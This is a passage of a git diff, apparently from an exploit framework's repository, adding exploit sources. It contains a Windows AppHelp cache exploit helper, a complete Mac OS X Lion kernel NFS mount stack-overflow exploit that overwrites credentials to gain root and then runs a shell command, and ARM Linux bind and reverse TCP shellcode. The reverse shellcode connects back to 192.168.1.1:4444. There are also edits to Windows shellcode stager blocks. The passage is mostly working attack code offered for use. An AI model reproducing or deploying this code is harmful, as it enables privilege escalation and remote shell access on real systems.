tiWhich, DWORD dwDefault); +typedef DWORD(WINAPI *SdbReadWORDTag)(PDB pdb, TAGID tiWhich, WORD dwDefault); +typedef ULONGLONG(WINAPI *SdbReadQWORDTag)(PDB pdb, TAGID tiWhich, ULONGLONG qwDefault); +typedef BOOL(WINAPI *SdbReadStringTag)(PDB pdb, TAGID tiWhich, LPTSTR pwszBuffer, DWORD cchBufferSize); +typedef BOOL(WINAPI *SdbRegisterDatabaseEx)(LPCTSTR pszDatabasePath, DWORD dwDatabaseType, PULONGLONG pTimeStamp); +typedef void (WINAPI *SdbReleaseDatabase)(HSDB hSDB); +typedef void (WINAPI *SdbReleaseMatchingExe)(HSDB hSDB, TAGREF trExe); +typedef BOOL(WINAPI *SdbStartIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbStopIndexing)(PDB pdb, INDEXID iiWhich); +typedef BOOL(WINAPI *SdbTagRefToTagID)(HSDB hSDB, TAGREF trWhich, PDB *ppdb, TAGID *ptiWhich); +typedef LPCTSTR(WINAPI *SdbTagToString)(TAG tag); +typedef BOOL(WINAPI *SdbUnregisterDatabase)(GUID *pguidDB); +typedef BOOL(WINAPI *SdbWriteBinaryTag)(PDB pdb, TAG tTag, PBYTE pBuffer, DWORD dwSize); +typedef BOOL(WINAPI *SdbWriteBinaryTagFromFile)(PDB pdb, TAG tTag, LPCWSTR pwszPath); +typedef BOOL(WINAPI *SdbWriteDWORDTag)(PDB pdb, TAG tTag, DWORD dwData); +typedef BOOL(WINAPI *SdbWriteNULLTag)(PDB pdb, TAG tTag); +typedef BOOL(WINAPI *SdbWriteQWORDTag)(PDB pdb, TAG tTag, ULONGLONG qwData); +typedef BOOL(WINAPI *SdbWriteStringTag)(PDB pdb, TAG tTag, LPCWSTR pwszData); +typedef BOOL(WINAPI *SdbWriteWORDTag)(PDB pdb, TAG tTag, WORD wData); +typedef BOOL(WINAPI *ShimFlushCache)(HWND hwnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, int nCmdShow); +typedef BOOL(WINAPI *SdbGetTagDataSize)(PDB pdb, TAG tTag); +typedef DWORD(WINAPI* SdbGetShowDebugInfoOption)(); + + + + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp new file mode 100755 index 0000000000..f3a0ccfa16 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp @@ -0,0 +1,190 @@ +#include "stdafx.h" +#include "sdb.h" + +BaseFlushAppcompatCache BaseFlushAppcompatCachePtr = NULL; +SdbBeginWriteListTag SdbBeginWriteListTagPtr = NULL; +SdbCloseDatabase SdbCloseDatabasePtr = NULL; +SdbCloseDatabaseWrite SdbCloseDatabaseWritePtr = NULL; +SdbCommitIndexes SdbCommitIndexesPtr = NULL; +SdbCreateDatabase SdbCreateDatabasePtr = NULL; +SdbDeclareIndex SdbDeclareIndexPtr = NULL; +SdbEndWriteListTag SdbEndWriteListTagPtr = NULL; +SdbFindFirstDWORDIndexedTag SdbFindFirstDWORDIndexedTagPtr = NULL; +SdbFindFirstTag SdbFindFirstTagPtr = NULL; +SdbFindNextTag SdbFindNextTagPtr = NULL; +SdbFormatAttribute SdbFormatAttributePtr = NULL; +SdbFreeFileAttributes SdbFreeFileAttributesPtr = NULL; +SdbGetAppPatchDir SdbGetAppPatchDirPtr = NULL; +SdbGetBinaryTagData SdbGetBinaryTagDataPtr = NULL; +SdbGetFileAttributes SdbGetFileAttributesPtr = NULL; +SdbGetFirstChild SdbGetFirstChildPtr = NULL; +SdbGetIndex SdbGetIndexPtr = NULL; +SdbGetMatchingExe SdbGetMatchingExePtr = NULL; +SdbGetNextChild SdbGetNextChildPtr = NULL; +SdbGetStringTagPtr SdbGetStringTagPtrPtr = NULL; +SdbGetTagFromTagID SdbGetTagFromTagIDPtr = NULL; +SdbInitDatabase SdbInitDatabasePtr = NULL; +SdbIsStandardDatabase SdbIsStandardDatabasePtr = NULL; +SdbMakeIndexKeyFromString SdbMakeIndexKeyFromStringPtr = NULL; +SdbOpenApphelpDetailsDatabase SdbOpenApphelpDetailsDatabasePtr = NULL; +SdbOpenApphelpResourceFile SdbOpenApphelpResourceFilePtr = NULL; +SdbOpenDatabase SdbOpenDatabasePtr = NULL; +SdbQueryDataExTagID SdbQueryDataExTagIDPtr = NULL; +SdbReadApphelpDetailsData SdbReadApphelpDetailsDataPtr = NULL; +SdbReadBinaryTag SdbReadBinaryTagPtr = NULL; +SdbReadDWORDTag SdbReadDWORDTagPtr = NULL; +SdbReadWORDTag SdbReadWORDTagPtr = NULL; +SdbReadQWORDTag SdbReadQWORDTagPtr = NULL; +SdbReadStringTag SdbReadStringTagPtr = NULL; +SdbRegisterDatabaseEx SdbRegisterDatabaseExPtr = NULL; +SdbReleaseDatabase SdbReleaseDatabasePtr = NULL; +SdbReleaseMatchingExe SdbReleaseMatchingExePtr = NULL; +SdbStartIndexing SdbStartIndexingPtr = NULL; +SdbStopIndexing SdbStopIndexingPtr = NULL; +SdbTagRefToTagID SdbTagRefToTagIDPtr = NULL; +SdbTagToString SdbTagToStringPtr = NULL; +SdbUnregisterDatabase SdbUnregisterDatabasePtr = NULL; +SdbWriteBinaryTag SdbWriteBinaryTagPtr = NULL; +SdbWriteBinaryTagFromFile SdbWriteBinaryTagFromFilePtr = NULL; +SdbWriteDWORDTag SdbWriteDWORDTagPtr = NULL; +SdbWriteNULLTag SdbWriteNULLTagPtr = NULL; +SdbWriteQWORDTag SdbWriteQWORDTagPtr = NULL; +SdbWriteStringTag SdbWriteStringTagPtr = NULL; +SdbWriteWORDTag SdbWriteWORDTagPtr = NULL; +ShimFlushCache ShimFlushCachePtr = NULL; +SdbGetTagDataSize SdbGetTagDataSizePtr = NULL; +SdbGetShowDebugInfoOption SdbGetShowDebugInfoOptionPtr = NULL; + +BOOL resolveSdbFunctions() +{ + HMODULE apphelpdll; + HMODULE kernel32dll; + apphelpdll = LoadLibraryA("apphelp.dll"); + if (!apphelpdll) + { + fprintf(stderr, "Failed to load apphelp\n"); + return FALSE; + } + + kernel32dll = LoadLibraryA("kernel32.dll"); + if (!kernel32dll) + { + fprintf(stderr, "Failed to load kernel32\n"); + return FALSE; + } + + + BaseFlushAppcompatCachePtr = (BaseFlushAppcompatCache)GetProcAddress(kernel32dll, "BaseFlushAppcompatCache"); + SdbBeginWriteListTagPtr = (SdbBeginWriteListTag)GetProcAddress(apphelpdll, "SdbBeginWriteListTag"); + SdbCloseDatabasePtr = (SdbCloseDatabase)GetProcAddress(apphelpdll, "SdbCloseDatabase"); + SdbCloseDatabaseWritePtr = (SdbCloseDatabaseWrite)GetProcAddress(apphelpdll, "SdbCloseDatabaseWrite"); + SdbCommitIndexesPtr = (SdbCommitIndexes)GetProcAddress(apphelpdll, "SdbCommitIndexes"); + SdbCreateDatabasePtr = (SdbCreateDatabase)GetProcAddress(apphelpdll, "SdbCreateDatabase"); + SdbDeclareIndexPtr = (SdbDeclareIndex)GetProcAddress(apphelpdll, "SdbDeclareIndex"); + SdbEndWriteListTagPtr = (SdbEndWriteListTag)GetProcAddress(apphelpdll, "SdbEndWriteListTag"); + SdbFindFirstDWORDIndexedTagPtr = (SdbFindFirstDWORDIndexedTag)GetProcAddress(apphelpdll, "SdbFindFirstDWORDIndexedTag"); + SdbFindFirstTagPtr = (SdbFindFirstTag)GetProcAddress(apphelpdll, "SdbFindFirstTag"); + SdbFindNextTagPtr = (SdbFindNextTag)GetProcAddress(apphelpdll, "SdbFindNextTag"); + SdbFormatAttributePtr = (SdbFormatAttribute)GetProcAddress(apphelpdll, "SdbFormatAttribute"); + SdbFreeFileAttributesPtr = (SdbFreeFileAttributes)GetProcAddress(apphelpdll, "SdbFreeFileAttributes"); + SdbGetAppPatchDirPtr = (SdbGetAppPatchDir)GetProcAddress(apphelpdll, "SdbGetAppPatchDir"); + SdbGetBinaryTagDataPtr = (SdbGetBinaryTagData)GetProcAddress(apphelpdll, "SdbGetBinaryTagData"); + SdbGetFileAttributesPtr = (SdbGetFileAttributes)GetProcAddress(apphelpdll, "SdbGetFileAttributes"); + SdbGetFirstChildPtr = (SdbGetFirstChild)GetProcAddress(apphelpdll, "SdbGetFirstChild"); + SdbGetIndexPtr = (SdbGetIndex)GetProcAddress(apphelpdll, "SdbGetIndex"); + SdbGetMatchingExePtr = (SdbGetMatchingExe)GetProcAddress(apphelpdll, "SdbGetMatchingExe"); + SdbGetNextChildPtr = (SdbGetNextChild)GetProcAddress(apphelpdll, "SdbGetNextChild"); + SdbGetStringTagPtrPtr = (SdbGetStringTagPtr)GetProcAddress(apphelpdll, "SdbGetStringTagPtr"); + SdbGetTagFromTagIDPtr = (SdbGetTagFromTagID)GetProcAddress(apphelpdll, "SdbGetTagFromTagID"); + SdbInitDatabasePtr = (SdbInitDatabase)GetProcAddress(apphelpdll, "SdbInitDatabase"); + SdbIsStandardDatabasePtr = (SdbIsStandardDatabase)GetProcAddress(apphelpdll, "SdbIsStandardDatabase"); + SdbMakeIndexKeyFromStringPtr = (SdbMakeIndexKeyFromString)GetProcAddress(apphelpdll, "SdbMakeIndexKeyFromString"); + SdbOpenApphelpDetailsDatabasePtr = (SdbOpenApphelpDetailsDatabase)GetProcAddress(apphelpdll, "SdbOpenApphelpDetailsDatabase"); + SdbOpenApphelpResourceFilePtr = (SdbOpenApphelpResourceFile)GetProcAddress(apphelpdll, "SdbOpenApphelpResourceFile"); + SdbOpenDatabasePtr = (SdbOpenDatabase)GetProcAddress(apphelpdll, "SdbOpenDatabase"); + SdbQueryDataExTagIDPtr = (SdbQueryDataExTagID)GetProcAddress(apphelpdll, "SdbQueryDataExTagID"); + SdbReadApphelpDetailsDataPtr = (SdbReadApphelpDetailsData)GetProcAddress(apphelpdll, "SdbReadApphelpDetailsData"); + SdbReadBinaryTagPtr = (SdbReadBinaryTag)GetProcAddress(apphelpdll, "SdbReadBinaryTag"); + SdbReadDWORDTagPtr = (SdbReadDWORDTag)GetProcAddress(apphelpdll, "SdbReadDWORDTag"); + SdbReadWORDTagPtr = (SdbReadWORDTag)GetProcAddress(apphelpdll, "SdbReadWORDTag"); + SdbReadQWORDTagPtr = (SdbReadQWORDTag)GetProcAddress(apphelpdll, "SdbReadQWORDTag"); + SdbReadStringTagPtr = (SdbReadStringTag)GetProcAddress(apphelpdll, "SdbReadStringTag"); + SdbRegisterDatabaseExPtr = (SdbRegisterDatabaseEx)GetProcAddress(apphelpdll, "SdbRegisterDatabaseEx"); + SdbReleaseDatabasePtr = (SdbReleaseDatabase)GetProcAddress(apphelpdll, "SdbReleaseDatabase"); + SdbReleaseMatchingExePtr = (SdbReleaseMatchingExe)GetProcAddress(apphelpdll, "SdbReleaseMatchingExe"); + SdbStartIndexingPtr = (SdbStartIndexing)GetProcAddress(apphelpdll, "SdbStartIndexing"); + SdbStopIndexingPtr = (SdbStopIndexing)GetProcAddress(apphelpdll, "SdbStopIndexing"); + SdbTagRefToTagIDPtr = (SdbTagRefToTagID)GetProcAddress(apphelpdll, "SdbTagRefToTagID"); + SdbTagToStringPtr = (SdbTagToString)GetProcAddress(apphelpdll, "SdbTagToString"); + SdbUnregisterDatabasePtr = (SdbUnregisterDatabase)GetProcAddress(apphelpdll, "SdbUnregisterDatabase"); + SdbWriteBinaryTagPtr = (SdbWriteBinaryTag)GetProcAddress(apphelpdll, "SdbWriteBinaryTag"); + SdbWriteBinaryTagFromFilePtr = (SdbWriteBinaryTagFromFile)GetProcAddress(apphelpdll, "SdbWriteBinaryTagFromFile"); + SdbWriteDWORDTagPtr = (SdbWriteDWORDTag)GetProcAddress(apphelpdll, "SdbWriteDWORDTag"); + SdbWriteNULLTagPtr = (SdbWriteNULLTag)GetProcAddress(apphelpdll, "SdbWriteNULLTag"); + SdbWriteQWORDTagPtr = (SdbWriteQWORDTag)GetProcAddress(apphelpdll, "SdbWriteQWORDTag"); + SdbWriteStringTagPtr = (SdbWriteStringTag)GetProcAddress(apphelpdll, "SdbWriteStringTag"); + SdbWriteWORDTagPtr = (SdbWriteWORDTag)GetProcAddress(apphelpdll, "SdbWriteWORDTag"); + ShimFlushCachePtr = (ShimFlushCache)GetProcAddress(apphelpdll, "ShimFlushCache"); + SdbGetTagDataSizePtr = (SdbGetTagDataSize)GetProcAddress(apphelpdll, "SdbGetTagDataSize"); + SdbGetShowDebugInfoOptionPtr = (SdbGetShowDebugInfoOption)GetProcAddress(apphelpdll, "SdbGetShowDebugInfoOption"); + + if (!BaseFlushAppcompatCachePtr + || !SdbBeginWriteListTagPtr + || !SdbCloseDatabasePtr + || !SdbCloseDatabaseWritePtr + || !SdbCommitIndexesPtr + || !SdbCreateDatabasePtr + || !SdbDeclareIndexPtr + || !SdbEndWriteListTagPtr + || !SdbFindFirstDWORDIndexedTagPtr + || !SdbFindFirstTagPtr + || !SdbFindNextTagPtr + || !SdbFormatAttributePtr + || !SdbFreeFileAttributesPtr + || !SdbGetAppPatchDirPtr + || !SdbGetBinaryTagDataPtr + || !SdbGetFileAttributesPtr + || !SdbGetFirstChildPtr + || !SdbGetIndexPtr + || !SdbGetMatchingExePtr + || !SdbGetNextChildPtr + || !SdbGetStringTagPtrPtr + || !SdbGetTagFromTagIDPtr + || !SdbInitDatabasePtr + || !SdbIsStandardDatabasePtr + || !SdbMakeIndexKeyFromStringPtr + || !SdbOpenApphelpDetailsDatabasePtr + || !SdbOpenApphelpResourceFilePtr + || !SdbOpenDatabasePtr + || !SdbQueryDataExTagIDPtr + || !SdbReadApphelpDetailsDataPtr + || !SdbReadBinaryTagPtr + || !SdbReadDWORDTagPtr + || !SdbReadQWORDTagPtr + || !SdbReadStringTagPtr + || !SdbRegisterDatabaseExPtr + || !SdbReleaseDatabasePtr + || !SdbReleaseMatchingExePtr + || !SdbStartIndexingPtr + || !SdbStopIndexingPtr + || !SdbTagRefToTagIDPtr + || !SdbTagToStringPtr + || !SdbUnregisterDatabasePtr + || !SdbWriteBinaryTagPtr + || !SdbWriteBinaryTagFromFilePtr + || !SdbWriteDWORDTagPtr + || !SdbWriteNULLTagPtr + || !SdbWriteQWORDTagPtr + || !SdbWriteStringTagPtr + || !SdbWriteWORDTagPtr + || !ShimFlushCachePtr + || !SdbReadWORDTagPtr + || !SdbGetTagDataSizePtr + || !SdbGetShowDebugInfoOptionPtr) + { + return FALSE; + } + return TRUE; + +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp new file mode 100755 index 0000000000..7bdad557f1 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp @@ -0,0 +1,9 @@ +// stdafx.cpp : source file that includes just the standard includes +// exploit.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h new file mode 100755 index 0000000000..d42eed6a35 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h @@ -0,0 +1,14 @@ +#pragma once + +#include "targetver.h" + +#include +#include + + +#define WIN32_NO_STATUS 1 +#include +#undef WIN32_NO_STATUS + +#include +#include diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h new file mode 100755 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/msfJavaToolkit/compile.sh b/external/source/msfJavaToolkit/compile.sh index e490fb21ee..dcb63cfc78 100755 --- a/external/source/msfJavaToolkit/compile.sh +++ b/external/source/msfJavaToolkit/compile.sh @@ -1,5 +1,15 @@ #!/bin/bash +# This requires Java 1.7 or earlier because it uses private APIs. +# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html +# for more information. + +# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to +# be set manually. +if [ -x /usr/libexec/java_home ]; then + export JAVA_HOME=$(/usr/libexec/java_home -v 1.6) +fi + javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java jar -cf msfJavaToolkit.jar javaCompile/*.class diff --git a/external/source/osx/nfs_mount_priv_escalation.c b/external/source/osx/nfs_mount_priv_escalation.c new file mode 100644 index 0000000000..86098b5a44 --- /dev/null +++ b/external/source/osx/nfs_mount_priv_escalation.c @@ -0,0 +1,165 @@ +/* + * Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit + * CVE None + * by Kenzley Alphonse + * + * + * Notes: + * This exploit leverage a stack overflow vulnerability to escalate privileges. + * The vulnerable function nfs_convert_old_nfs_args does not verify the size + * of a user-provided argument before copying it to the stack. As a result by + * passing a large size, a local user can overwrite the stack with arbitrary + * content. + * + * Tested on Max OS X Lion xnu-1699.22.73 (x86_64) + * Tested on Max OS X Lion xnu-1699.32.7 (x86_64) + * + * Greets to taviso, spender, joberheide + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/** change these to fit your environment if needed **/ +#define SSIZE (536) + +/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/ +struct user_nfs_args { + int version; /* args structure version number */ + char* addr __attribute__((aligned(8))); /* file server address */ + int addrlen; /* length of address */ + int sotype; /* Socket type */ + int proto; /* and Protocol */ + char * fh __attribute__((aligned(8))); /* File handle to be mounted */ + int fhsize; /* Size, in bytes, of fh */ + int flags; /* flags */ + int wsize; /* write size in bytes */ + int rsize; /* read size in bytes */ + int readdirsize; /* readdir size in bytes */ + int timeo; /* initial timeout in .1 secs */ + int retrans; /* times to retry send */ + int maxgrouplist; /* Max. size of group list */ + int readahead; /* # of blocks to readahead */ + int leaseterm; /* obsolete: Term (sec) of lease */ + int deadthresh; /* obsolete: Retrans threshold */ + char* hostname __attribute__((aligned(8))); /* server's name */ + /* NFS_ARGSVERSION 3 ends here */ + int acregmin; /* reg file min attr cache timeout */ + int acregmax; /* reg file max attr cache timeout */ + int acdirmin; /* dir min attr cache timeout */ + int acdirmax; /* dir max attr cache timeout */ + /* NFS_ARGSVERSION 4 ends here */ + uint auth; /* security mechanism flavor */ + /* NFS_ARGSVERSION 5 ends here */ + uint deadtimeout; /* secs until unresponsive mount considered dead */ +}; + +/** sets the uid for the current process and safely exits from the kernel**/ +static void r00t_me() { + asm( + // padding + "nop; nop; nop; nop;" + + // task_t %rax = current_task() + "movq %%gs:0x00000008, %%rax;" + "movq 0x00000348(%%rax), %%rax;" + + // proc %rax = get_bsdtask_info() + "movq 0x000002d8(%%rax),%%rax;" + + // ucred location at proc + "movq 0x000000d0(%%rax),%%rax;" + + // uid = 0 + "xorl %%edi, %%edi;" + "movl %%edi, 0x0000001c(%%rax);" + "movl %%edi, 0x00000020(%%rax);" + + // fix the stack pointer and return (EACCES) + "movq $13, %%rax;" + "addq $0x00000308,%%rsp;" + "popq %%rbx;" + "popq %%r12;" + "popq %%r13;" + "popq %%r14;" + "popq %%r15;" + "popq %%rbp;" + "ret;" + :::"%rax" + ); +} + +int main(int argc, char ** argv) { + struct user_nfs_args xdrbuf; + char * path; + char obuf[SSIZE]; + + + /** clear the arguments **/ + memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args)); + memset(obuf, 0x00, SSIZE); + + /** set up variable to get path to vulnerable code **/ + xdrbuf.version = 3; + xdrbuf.hostname = "localhost"; + xdrbuf.addrlen = SSIZE; + xdrbuf.addr = obuf; + + /** set ret address **/ + *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5); + printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]); + + /** create a unique tmp name **/ + if ((path = tmpnam(NULL)) == NULL) { + // path can be any directory which we have read/write/exec access + // but I'd much rather create one instead of searching for one + perror("[-] tmpnam"); + exit(EXIT_FAILURE); + } + + /** make the path in tmp so that we can use it **/ + if (mkdir(path, 0660) < 0) { + perror("[-] mkdir"); + exit(EXIT_FAILURE); + } + + /** inform the user that the path was created **/ + printf("[*] created sploit path%s\n", path); + + /** call the vulnerable function **/ + if (mount("nfs", path, 0, &xdrbuf) < 0) { + if (errno == EACCES) { + puts("[+] escalating privileges..."); + } else { + perror("[-] mount"); + } + + } + + /** clean up tmp dir **/ + if (rmdir(path) < 0) { + perror("[-] rmdir"); + } + + /** check if privs are equal to root **/ + if (getuid() != 0) { + puts("[-] priviledge escalation failed"); + exit(EXIT_FAILURE); + } + + /** get root shell **/ + printf("[+] We are now uid=%i ... your welcome!\n", getuid()); + printf("[+] Dropping a shell.\n"); + + /** execute **/ + execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL); + return 0; +} diff --git a/external/source/shellcode/linux/armle/single_sock_bind.s b/external/source/shellcode/linux/armle/single_sock_bind.s new file mode 100644 index 0000000000..08a031a3b6 --- /dev/null +++ b/external/source/shellcode/linux/armle/single_sock_bind.s @@ -0,0 +1,102 @@ +@@ +@ +@ Name: single_sock_bind +@ Qualities: - +@ Authors: civ, repmovsb +@ License: MSF_LICENSE +@ Description: +@ +@ Implementation of a Linux bind TCP shellcode for ARM LE architecture. +@ +@ This source is built from the payload module (instead of other way around...) +@ +@ Assemble with: as single_sock_bind.s -o single_sock_bind.o +@ Link with: ld single_sock_bind.o -o single_sock_bind +@ +@ Meta-Information: +@ +@ meta-shortname=Linux Bind TCP +@ meta-description=Listen on a port for a connection and run a second stage +@ meta-authors=civ, repmovsb +@ meta-os=linux +@ meta-arch=armle +@ meta-category=singles +@ meta-connection-type=bind +@ meta-name=bind_tcp +@@ + +.text +.globl _start +_start: +@ int socket(int domain, int type, int protocol); +@ socket(2,1,6) + mov r0, #2 + mov r1, #1 + mov r2, #6 + mov r7, #1 + lsl r7, r7, #8 + add r7, r7, #25 + svc 0 + mov r6, r0 + +@ bind + add r1, pc, #128 + mov r2, #16 + mov r7, #1 + lsl r7, r7, #8 + add r7, r7, #26 + svc 0 + +@ listen + mov r0, r6 + mov r7, #1 + lsl r7, r7, #8 + add r7, r7, #28 + svc 0 + +@ accept + mov r0, r6 + sub r1, r1, r1 + sub r2, r2, r2 + mov r7, #1 + lsl r7, r7, #8 + add r7, r7, #29 + svc 0 + +@ dup + mov r6, r0 + mov r1, #2 +loop: + mov r0, r6 + mov r7, #63 + svc 0 + subs r1, r1, #1 + bpl loop + +@ execve(SHELL, [ARGV0], [NULL]) + add r0, pc, #36 + eor r4, r4, r4 + push {r4} + mov r2, sp + add r4, pc, #36 + push {r4} + mov r1, sp + mov r7, #11 + svc 0 + +@ addr +@ port: 4444 , sin_fam = 2 +.word 0x5c110002 +@ ip: 0.0.0.0 +.word 0x00000000 + +@ SHELL +.word 0x00000000 @ the shell goes here! +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +@ ARGV0 +.word 0x00000000 @ the args! +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 diff --git a/external/source/shellcode/linux/armle/single_sock_reverse.s b/external/source/shellcode/linux/armle/single_sock_reverse.s new file mode 100644 index 0000000000..61b97a4a0f --- /dev/null +++ b/external/source/shellcode/linux/armle/single_sock_reverse.s @@ -0,0 +1,93 @@ +@@ +@ +@ Name: single_sock_reverse +@ Qualities: - +@ Authors: civ, repmovsb +@ License: MSF_LICENSE +@ Description: +@ +@ Implementation of a Linux reverse TCP shellcode for ARM LE architecture. +@ +@ This source is built from the payload module (instead of other way around...) +@ +@ Assemble with: as single_sock_reverse.s -o single_sock_reverse.o +@ Link with: ld single_sock_reverse.o -o single_sock_reverse +@ +@ Meta-Information: +@ +@ meta-shortname=Linux Reverse TCP +@ meta-description=Connect back to the framework and run a second stage +@ meta-authors=civ, repmovsb +@ meta-os=linux +@ meta-arch=armle +@ meta-category=singles +@ meta-connection-type=reverse +@ meta-name=reverse_tcp +@@ + +.text +.globl _start +_start: +@ int socket(int domain, int type, int protocol); +@ socket(2,1,6) + mov r0, #2 + mov r1, #1 + add r2, r1, #5 + mov r7, #140 + add r7, r7, #141 + svc 0 + +@ connect(soc, socaddr, 0x10) + mov r6, r0 + add r1, pc, #96 + mov r2, #16 + mov r7, #141 + add r7, r7, #142 + svc 0 + +@ dup2(soc,0) @stdin + mov r0, r6 + mov r1, #0 + mov r7, #63 + svc 0 + +@ dup2(soc,1) @stdout + mov r0, r6 + mov r1, #1 + mov r7, #63 + svc 0 + +@ dup2(soc,2) @stderr + mov r0, r6 + mov r1, #2 + mov r7, #63 + svc 0 + +@ execve(SHELL, [ARGV0], [NULL]) + add r0, pc, #36 + eor r4, r4, r4 + push {r4} + mov r2, sp + add r4, pc, #36 + push {r4} + mov r1, sp + mov r7, #11 + svc 0 + +@ addr +@ port: 4444 , sin_fam = 2 +.word 0x5c110002 +@ ip: 192.168.1.1 +.word 0x0101a8c0 +@.word 0x0100007f + +@ SHELL +.word 0x00000000 @ the shell goes here! +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 +@ ARGV0 +.word 0x00000000 @ the args! +.word 0x00000000 +.word 0x00000000 +.word 0x00000000 diff --git a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm index 34be67e4e0..afc55b9410 100644 --- a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Bind Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm index 241a3a6c6d..910e45dcbc 100644 --- a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Reverse Connect Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 3b7a85d82e..9f682e8647 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -2,7 +2,7 @@ ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (24 July 2009) -; Size: 137 bytes +; Size: 130 bytes ;-----------------------------------------------------------------------------; [BITS 32] @@ -17,8 +17,8 @@ api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame - xor edx, edx ; Zero EDX - mov edx, [fs:edx+48] ; Get a pointer to the PEB + xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx, [fs:eax+48] ; Get a pointer to the PEB mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; @@ -26,7 +26,6 @@ next_mod: ; movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; - xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; @@ -41,10 +40,10 @@ not_lowercase: ; push edi ; Save the current module hash for later ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header + mov ecx, [edx+60] ; Get PE header ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [eax+edx+120] ; Get the EAT from the PE header + mov ecx, [ecx+edx+120] ; Get the EAT from the PE header jecxz get_next_mod1 ; If no EAT present, process the next module add ecx, edx ; Add the modules base address push ecx ; Save the current modules EAT @@ -62,7 +61,6 @@ get_next_func: ; xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; - xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the ASCII function name ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name @@ -94,7 +92,7 @@ finish: ; We now automagically return to the correct caller... get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT + pop edi ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list diff --git a/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm b/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm index dce4686104..bbdf67bca8 100644 --- a/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm +++ b/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm @@ -23,10 +23,16 @@ bind_tcp: push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) call ebp ; WSAStartup( 0x0190, &WSAData ); - push eax ; if we succeed, eax wil be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol + push byte 8 + pop ecx +push_8_loop: + push eax ; if we succeed, eax 